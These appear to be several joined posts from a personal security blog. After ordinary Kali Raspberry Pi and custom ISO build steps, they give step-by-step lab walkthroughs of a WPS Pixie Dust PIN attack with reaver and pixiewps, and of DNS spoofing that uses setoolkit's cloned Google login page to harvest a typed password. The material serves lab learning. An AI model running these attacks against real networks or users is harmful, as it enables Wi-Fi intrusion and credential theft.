When finished the transfer run “sync” to synchronize any cached writes to persistent storage, the persistent storage being your microsd card because if you remove it to early the copy may not have fully completed yet even though the dd process has finished. Just run it and see how long it takes, if it finishes quickly that just means it’s fully finished. Otherwise it may take a minute or two, when that happens be glad you ran it or you would have had to run the dd transfer again as the image would be corrupted!

9_Kali_2_Rasberry_Pi_2_rpi2_custom_image_dd_to_microsd_card

9_Kali_2_Rasberry_Pi_2_rpi2_custom_image_dd_to_microsd_card

Next remove your microsd and plug it into your Raspberry Pi 2 and boot it up!

Kali_Pi_2_Hacker_Cat

Kali_Pi_2_Hacker_Cat

It might be wise to remove any pets from the process…

 

Kali 2 Sana Custom ISO Build – Software Defined Radio (SDR) & Wireless Tools

So I have been meaning to do this for ages as who likes configuring a system every time anyway, it’s the definition of insanity doing the same thing again and again so let’s fix that and automate the installation of Kali and modify it along the way so that you only install what you want or need in the process!

First things first you need to update your system with

apt-get update

1_Kali_Sana_Prep_Work_update

1_Kali_Sana_Prep_Work_update

Install live-build

apt-get install git live-build

2_Kali_Sana_Install_Live_Build

2_Kali_Sana_Install_Live_Build

Next you need to create a directory, git clone the live-build-config, change into the directory and then check whats inside

mkdir Kali_2.0_Custom_Build
git clone git://git.kali.org/live-build-config.git
cd live-build-config
ls

3_Kali_Sana_git_clone_live_build

3_Kali_Sana_git_clone_live_build

Now use the editor of your choice for this task and open up the following directory

nano kali-config/variant-xfce/package-lists/kali.list.chroot

4_Kali_Sana_Modify_Packages

4_Kali_Sana_Modify_Packages

For the GUI I am going to use kali-desktop-xfce as I like the speed that comes with it as it’s quite basic and light, I don’t really want the full package as I only really use the wireless and plan on using the Software Defined Radio (SDR) tools too so no need to install everything in there (You may be different so decide here what you want or need before you continue).

I will just be removing the hash from the start of kali-linux-sdr and kali-linux-wireless in order to only install those tools.

The kali.list.chroot file will look like this below

5_Kali_Sana_Packages_Before_Modification

5_Kali_Sana_Packages_Before_Modification

After it should look like I have it below, so save the file and continue to the next step

6_Kali_Sana_Packages_After_Modification

6_Kali_Sana_Packages_After_Modification

Create a new file called 01-unattended-boot.binary in kali-config/common/hooks/

nano kali-config/common/hooks/01-unattended-boot.binary

Chmod it to make it executable also

chmod +x kali-config/common/hooks/01-unattended-boot.binary

7_Kali_Sana_Unattended_File_Configuration

7_Kali_Sana_Unattended_File_Configuration

Paste in the following:

#!/bin/sh

cat >>binary/isolinux/install.cfg <<END
label install
menu label ^Unattended Install
menu default
linux /install/vmlinuz
initrd /install/initrd.gz
append vga=788 — quiet file=/cdrom/install/preseed.cfg locale=en_US keymap=us hostname=kali domain=local.lan
END

And once again save the file, courtesy of the Kali dojo.

8_Kali_Sana_Unattended_File_Configuration_Created

8_Kali_Sana_Unattended_File_Configuration_Created

When you have this done the next step is to get yourself or create a preseed file so that all the questions will be automatically answered for you, I’m going to pull mine from the kali dojo which the Offensive Security Team use for building their images, you can download it from their website located here.

Pull down the file and save it in the correct directory like this
wget https://www.kali.org/dojo/preseed.cfg -O ./kali-config/common/includes.installer/preseed.cfg

9_Kali_Sana_Unattended_Preseed_wget

9_Kali_Sana_Unattended_Preseed_wget

Now we are nearly there but the desktop is going to be bare so find a high quality image of your choosing and modify the output below in order to replace the background image with your own custom one. As I am indecisive though I am going to use the following image once again from the Kali dojo located here.

Make a new directory
mkdir -p kali-config/common/includes.chroot/usr/share/images/desktop-base/

Download and save the image into the newly created directory
wget https://www.kali.org/dojo/wp-blue.png -O kali-config/common/includes.chroot/usr/share/images/desktop-base/kali-wallpaper_1920x1080.png

10_Kali_Sana_Unattended_Desktop_Background

10_Kali_Sana_Unattended_Desktop_Background

Start off your new build

./build.sh –variant xfce –distribution sana –verbose

“build.sh” is the script that will be used to build your ISO from your configuration options
“–variant xfce” specifies you want to use the xfce desktop environment
“–distribution sana” selects the correct distribution for Kali Sana 2.0
“–verbose” will give your plenty of output on your screen to stare at for a while as it may take some time, don’t worry about reading everything as everything is parsed to a log file so you can review it all when finished anyway.

11_Kali_Sana_Build_Unattended_ISO_Start

11_Kali_Sana_Build_Unattended_ISO_Start

Patience at this point as this may take some time, the last time I created a full ISO with everything it took two hours in total to complete. With only the wireless and SDR tools I expect it to take less time to complete (This actually took six hours to complete for me).

When finished it will look like the following below without any errors

12_Kali_Sana_Build_Unattended_ISO_Finish

12_Kali_Sana_Build_Unattended_ISO_Finish

The ISO will be saved in the /live-build-config/images directory

13_Kali_Sana_Build_Unattended_ISO_File_location

13_Kali_Sana_Build_Unattended_ISO_File_location

At this point I like to copy the ISO out of my VM into my host OS. Depending on your setup this will be different.

14_Kali_Sana_Build_Unattended_ISO_File_Copy_Host

14_Kali_Sana_Build_Unattended_ISO_File_Copy_Host

Configure VirtualBox to your liking, if your unsure of configuration settings please refer to this tutorial for guidance. When booting just click on “Install” and watch the configuration magic happen all on it’s own!

15_Kali_Sana_Select_Install_to_automatically_install

15_Kali_Sana_Select_Install_to_automatically_install

Log in with
username: root
password: toor

16_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_first_boot

16_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_first_boot

Select the default configuration when prompted

17_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_first_boot_select_default_config

17_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_first_boot_select_default_config

Now you have your own custom built XFCE ISO with only Software Defined Radio (SDR) and wireless related tools that will automatically install for you, cool isn’t it? You can also use it as a live image too without installing it.

18_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_complete

18_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_complete

You can do all the normal things like install VirtualBox guest additions, for help on this refer to this tutorial

19_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_VirtualBox_Guest_additions_install

19_Kali_Sana_XFCE_Custom_SDR_WIreless_tools_VirtualBox_Guest_additions_install

Have fun building!

 

18 – WPS Offline Pixie Dust Attack

Hey everyone it’s been a while since my last blog entry and I recently started playing around with the WPS offline Pixie Dust Attack which I first mentioned back in May 2015 and wanted to document it as I have not had any success in exploiting a router vulnerable to this attack but that doesn’t mean we can’t exploit it using the older reaver method which I previously wrote about here and here. Please refer to my previous tutorial for some background on attacking WPS.
For this tutorial I am using Kali 2.0 “sana” in a VM which has all the necessary tools required to preform this attack so just get the latest ISO of Kali updated fully and you will be good to follow along 🙂

I have two routers that are susceptible to the old method using reaver so I used them again for this tutorial, unfortunately this doesn’t work but the the process does so it’s worthy of a blog entry!

First as always get your card into monitor mode, I actually came across a random issue that looks like it is a bug in Kali 2 “sana” when running airmon-ng

“airmon-ng check kill” will kill anything that may be interfering with your card when in monitor mode
“airmon-ng start wlan0” as you probably know now will place your card into monitor mode

1_Monitor_mode_Kali_Sana

1_Monitor_mode_Kali_Sana

As you can see instead of a new interface called “mon0” being created we instead have “wlan0mon” which will do the same thing. I thought it was worth mentioning as it was a weird issue.

Checking with iwconfig will show you that monitor mode is actually enabled so you don’t need to make any further changes:

“iwconfig” used below to make sure that the card is in monitor mode

2_iwconfig_monitor_mode_check

2_iwconfig_monitor_mode_check

BUT sometimes I have also found that even though it says the card is in monitor mode when you start airodump-ng sniffing the airwaves you actually see nothing so you just have to put the interface down and set monitor mode manually on the card.

“ifconfig wlan0mon down” this will put the interface down
“iwconfig wlan0mon mode monitor” this will manually set monitor mode on the wireless interface
“ifconfig wlan0mon up” this will put the interface up again

3_Kali_sana_manual_monitor_mode_configuration

3_Kali_sana_manual_monitor_mode_configuration

After you do this if you run

“airodump-ng wlan0mon” to make sure you are sniffing the airwaves

You will see things are working as expected:

4_airodump-ng_output_after_manual_configuration

4_airodump-ng_output_after_manual_configuration

My lab routers for attacking are named “dlink” and “test” under the ESSID column above

Trying this attack against the access point labeled test first:

“reaver” runs reaver
“-i wlan0mon” specifies that you want to use the wlan0mon interface for this attack
“-b 2C:B0:5D:XX:XX:XX” is used to specify the MAC address of the access point you are targeting
“-vv” is used to display very verbose output
“-w” used to mimic a Windows 7 registrar
“-n” is used as this target access point always sends a NACK
“-S” is to only use small DH keys to improve the cracking speed
“-c 1” is used to specify the channel on which the access point resides

reaver -i wlan0mon -b 2C:B0:5D:XX:XX:XX -vv -w -n -S -c 1

5_reaver_pixiedust_attack_kali_2_sana

5_reaver_pixiedust_attack_kali_2_sana

You may get different results with different access points so make sure you look at the reaver and pixiewps man pages and try different switches! I already know this access point is not vulnerable but just to show you what to do with this information all you need to do is open up pixiewps and enter in the following details you just enumerated in order to crack WPS on the target access point:

“pixiewps” runs pixiewps
“-e” Enrollee public key
“-s” Enrollee hash1
“-z” Enrollee hash2
“-a” Authentication session key
“-n” Enrollee nonce (mode 2,3,4)
“-S” Small Diffie-Hellman keys (PKr not needed)

pixiewps -e PKE -s E-Hash1 -z E-Hash2 -a AuthKey -n E-Nonce -S

6_pixiewps_kali_2_sana_pin

6_pixiewps_kali_2_sana_pin

As you can see no WPS pin is found but that just means my access point is not vulnerable to this offline attack method, it is however vulnerable to the online method as can be seen in previous tutorials here and here.

Now I also have another access point to check labeled “dlink” as you can see above so lets jump straight to it!

“reaver” to run reaver
“-i wlan0mon” will run on the interface of your wireless card
“-b 00:18:E7:XX:XX:XX” is to set the MAC address of the target access point
“-vv” runs in very verbose mode
“-w” is to mimic a Windows 7 registrar
“-n” as the target AP always sends a NACK
“-S” to use small DH keys to improve the crack speed
“-c 6” is to set the channel the access point is running on

reaver -i wlan0mon -b 00:18:E7:XX:XX:XX -vv -w -n -S -c 6

This PIN generated is incorrect as the PIN on the router is neither of the PIN’s generated below but it’s worth trying if the access point is either a D-link of Belkin, you may get lucky with the default PIN generator created by the devttys0 team especially if your router is listed in the D-link or Belkin posts showing how they were reversed in order to generate these WPS PIN’s.

7_Kali_sana_2_pixiewps_d-link_default_pin_generation

7_Kali_sana_2_pixiewps_d-link_default_pin_generation

Another method

“reaver” to run reaver
“-i wlan0mon” will run on the interface of your wireless card
“-b 00:18:E7:XX:XX:XX” is to set the MAC address of the target access point
“-a” to auto detect the best advanced options for the target access point
“-vv” runs in very verbose mode
“-w” is to mimic a Windows 7 registrar
“-K 1” to Run pixiewps with PKE, PKR, E-Hash1, E-Hash2 and E-Nonce (Ralink, Broadcom, Realtek). Increment the value after -K.
“-n” as the target AP always sends a NACK
“-S” to use small DH keys to improve the crack speed
“-c 6” is to set the channel the access point is running on

reaver -i wlan0mon -b 00:18:E7:XX:XX:XX -a -vv -w  -K 1 -n -S -c 6

8_Kali_sana_2_pixie_dust_reaver_WPS_PIN_method

8_Kali_sana_2_pixie_dust_reaver_WPS_PIN_method

Even though these methods aren’t working for me it doesn’t mean they won’t work for you so give them a try on your home router and see if you are vulnerable to this attack as the amount of time needed to crack a wireless network is greatly decreased if this method works so it’s definitely worth trying.

Before I end this tutorial though I just want to point you in the direction of some cool switches I discovered in the latest version of the aircrack-ng suite which you can use for WPS enumeration.

“airodump-ng” to start airodump-ng sniffing the airwaves
“-i wlan0mon” to set the interface to sniff on
“-W” to display if the access point supports WPS
The first field of the  column  indicates the version supported. The second field indicates the WPS config methods of which there can be more than one separated by a comma:
USB = USB method,
ETHER = Ethernet,
LAB = Label,
DISP = Display,
EXTNFC = External NFC,
INTNFC = Internal NFC,
NFCINTF  =  NFC Interface,
PBC = Push Button,
KPAD =  Keypad. Locked is displayed when the AP setup is locked.
“-M” to display the manufacturer from the IEEE OUI list

airodump-ng -i wlan0mon -W -M

9_Kali_sana_airodump-ng_WPS_enumeration

9_Kali_sana_airodump-ng_WPS_enumeration

Wash also has a cool feature now too to enumerate some more information from your router

“wash” to run wash
“-i wlan0mon” to run the interface of your wireless card
“-g” to pipe output and run reaver alongside wash to get the chipset
“-c 1” specifies the channel you wish to run on

wash -i wlan0mon -g -c 1

10_Kali_sana_wash_enumeration

10_Kali_sana_wash_enumeration

It’s handy for checking if the access point is locked out quickly before trying the reaver or Pixie Dust Attack.

That’s it for now, attacking WPS has come a long way in a short period of time and it’s only a matter of time until this is a simple procedure that works in a matter of seconds to minutes once enough PIN generation algorithms are reversed and added to make this much simpler than WEP to crack. You remember how easy WEP was to crack right, it’s like traveling back in time to 2005 all over again.

 

DNS Spoofing

I was asked what DNS spoofing (Cache Poisoning) was during the week and when it came to explain it all I could think of was arp-spoofing and I got muddled up as this was in a fast paced environment!

So in order to solidify this into my brain as I have encountered it many times in my studies I have chosen to write briefly on the subject.

What is it?

Well it’s when data is introduced into a DNS resolvers cache which then causes the name server to return an incorrect IP address and this then diverts traffic to the attacking device or any other device.

What is DNS?
In simple terms something that makes your website address human readable allowing you to type in the fully qualified domain name for example ‘itfellover.com’ is my fqdn.

To follow along with this tutorial you need a Windows box, pfsense and Kali so if you don’t have them installed do so first.

Let’s get started:

This is as always for educational purposes only. Understanding an attack like this is thought in many security syllabus and it has been a long time since I played with this in the lab myself.

Start setoolkit first:

setoolkit

1 - Kali setoolkit start

1 – Kali setoolkit start

After setoolkit loads you can scroll up to see the following information about the toolkit:

2 - Kali setoolkit started

2 – Kali setoolkit started

Select option 1 first for ‘Social-Engineering Attacks’:

3 - Kali setoolkit option 1

3 – Kali setoolkit option 1

Then select option 2 for ‘Website Attack Vectors’:

4 - Kali setoolkit option 2

4 – Kali setoolkit option 2

Select option 3 for ‘Credential Harvester Attack Method’

5 - Kali setoolkit option 3

5 – Kali setoolkit option 3

Finally select option 1 for ‘Web Templates’

6 - Kali setoolkit option 1

6 – Kali setoolkit option 1

Check your Kali IP address with ‘ifconfig’

7 - Check your Kali IP address

7 – Check your Kali IP address

As my address is 10.0.0.23 this is what I will use in setoolkit so enter your Kali IP address next

8 - Kali setoolkit IP address Website Template

8 – Kali setoolkit IP address Website Template

Next select option two for ‘Google’

9 - Kali setoolkit select option two for Google

9 – Kali setoolkit select option two for Google

The website is then cloned from templates and placed in the apache root directory, let setoolkit start apache for you by just entering ‘y’ to start the process

10 - Kali setoolkit start apache

10 – Kali setoolkit start apache

Apache is then enabled and you can browse to ‘/var/www’ to modify ‘post.php’ if you want. Just press ‘Enter’ to continue

11 - Kali setoolkit apache webserver on

11 – Kali setoolkit apache webserver on

It’s ok when you arrive back at this page, your first thought may be to think something is wrong but it is not.

12 - Kali setoolkit menu return

12 – Kali setoolkit menu return

Change directory into /var/www

cd /var/www

13 - Kali change directory var www

13 – Kali change directory var www

‘Watch’ is a cool command and I love it for things like this, think of it like saying hey watch this file and give me an update in real-time if anything changes. In order to run ‘cat *.txt’ though we need to use quotes to encapsulate the command because of the space so that you can then use watch to run it. The asterisk ‘*’ says watch all txt files in this directory, I used it as the name of the file is very long. You can use the filename here if you want also.

Fun Tip!:
To find out more about watch run ‘man watch’ and have a read

14 - watch cat tall txt files

14 – watch cat tall txt files

It will then listen and should look blank if you haven’t run anything already, just delete the contents if you have something in here.

15 - Kali watch all txt files waiting

15 – Kali watch all txt files waiting

Next navigate to your hosts file and modify it like mine below with the google domain of your country and save

Kali IP address *.google.ie
Kali IP address *.google.com

vi /etc/hosts

16 - Add your Kali IP address and google domain

16 – Add your Kali IP address and google domain

Next start dnsspoof listening with the following:

‘dnsspoof’ to start dnsspoof
‘-i eth0’ to start on eth0 which is my Kali network interface on the internal LAN
‘-f /etc/hosts’ is used to start with your modified hosts file in /etc/hosts

17 - Kali dnsspoof start

17 – Kali dnsspoof start

Now on your Windows 7 test machine or system of your choosing navigate to ‘google.com’ in your web browser and you should get a Spoofed google login screen, you will notice though as we are not connected to the Internet here we don’t get any loaded images, you can change your WAN NIC in pfsense to access the Internet if you want images but it is safer to stay in the sand-boxed environment.

18 - Windows 7 googledotcom spoofed

18 – Windows 7 googledotcom spoofed

Looking at your ‘dnsspoof’ output you left running you should see something similar to the following:

19 - Kali dnsspoof spoofing

19 – Kali dnsspoof spoofing

What happens above is simple

10.0.0.24 (Windows 7) says hey 10.0.0.12 (pfsense) on port 53 I would like to get the ‘A’ record or address of www.google.com

dnsspoof sitting in the middle of all this then says hey i’m www.google.com! I will serve the address up to you so then 10.0.0.24 receives the fake page spoofing the Google home page.

Now enter a random username and password and hit ‘Sign In’

20 - Windows 7 Google Fake Login

20 – Windows 7 Google Fake Login

In the output displayed by ‘watch’ below you can see my username beside ‘Email’ and password next to ‘Passwd’ at the bottom of the page:

21 - Kali watch listening output

21 – Kali watch listening output

One thing I didn’t say to do at the start was to start Wireshark, I just take it you do that anyway now in order to learn what’s going on in the background. If you didn’t do it go back and start this exercise from the start again and this time run ‘wireshark &’ to start Wireshark from the terminal as root.

1 - WireShark start

1 – WireShark start

After running your ‘dnsspoof’ attack again stop Wireshark and save your packet capture so you can look at it again in the future and start to analyse the capture.

Below we see packet 12 is where I queried pfsense 10.0.0.12 from the Windows 7 box 10.0.0.24 and said hey give me the address for www.google.com

2 - Wireshark google A record query

2 – Wireshark google A record query

Following on down through the rest of the packets you will see some similar looking packets trying to resolve Google for you including the Windows 7 machine 10.0.0.24 asking via a broadcast also, that’s the 10.0.0.255 address you see below. What that is effectively doing is broadcasting to everyone on your network saying hey!, you there!, do you have the address of www.google.com as I would like to access this resource.

3 - Wireshark search for google A record

3 – Wireshark search for google A record

What you are looking for here though is a SYN packet like you see below over TCP saying hey I am 10.0.0.24 and I am looking for a website address called www.google.com can you find it for me?

4- Wireshark dnsspoof SYN

4- Wireshark dnsspoof SYN

Next the attacker device says hey 10.0.0.24 take this SYN-ACK because I can give you access to the address you are looking for!

5 - Wireshark dnsspoof SYN ACK

5 – Wireshark dnsspoof SYN ACK

The client then replies with an ACK to say thank you and open the TCP socket to establish a connection.

6 - Wireshark dnsspoof ACK

6 – Wireshark dnsspoof ACK

In order for connection to be successful a TCP Three Way Handshake is required here as outlined in the diagram below:

TCP - Three way handshake

TCP – Three way handshake

The DNS Spoofing looks similar as you can see below, the difference is that the attacker device is listening on the local LAN and says hey i’m www.google.com instead of your server or router serving up your requests as it is Man in the middling everything on your local area network.

Three way handshake - DNS Spoofing

Three way handshake – DNS Spoofing

So there you have it, a question that made me think and realise I had forgotten all about DNS spoofing and how it actually worked under the surface. There are other ways to do this but I had mentioned modifying the host file at the time of this question. For now once again back to Learn Python the hardway as I am currently on exercise 37 and flying along, I highly recommend using this resource if you want to either go over Python again and refresh your memory or just start it from the beginning as a newbie.